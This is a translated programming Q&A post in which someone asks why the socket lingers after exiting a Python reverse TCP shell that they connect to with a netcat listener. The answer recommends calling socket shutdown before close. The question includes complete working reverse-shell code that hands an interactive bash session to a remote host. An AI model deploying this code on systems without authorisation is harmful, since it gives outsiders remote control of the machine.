优雅地杀死一个孤立的插座

时间:2014-09-24 23:19:40

标签: python linux shell sockets

我正在编写一个使用以下代码生成反向TCP-Shell的简单代理。

 class ReverseShell:
        def __init__(self, ip, port=9002):
                self.ip = ip
                self.port = port

        def start(self):
                sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                sock.connect((self.ip,self.port))
                os.dup2(sock.fileno(),0)
                os.dup2(sock.fileno(),1)
                os.dup2(sock.fileno(),2)
                subprocess.call(["/bin/bash","-i"]);
                sock.close()

然后我使用以下方式收听目的地地址:

nc -l 9002

shell连接正常。但是,如果我键入exit它会杀死shell,但数据似乎仍然被写入套接字,并停止写入stdout代理端。如果我 ctrl + c ,它会发生同样的事情,它会杀死/bin/bash shell,但套接字仍保持打开状态,我的代理上的文本不会被写入stdout。我错过了什么?

1 个答案:

答案 0 :(得分:3)

您需要在sock.shutdown(socket.SHUT_RDWR)之前sock.close()终止基础tcp连接。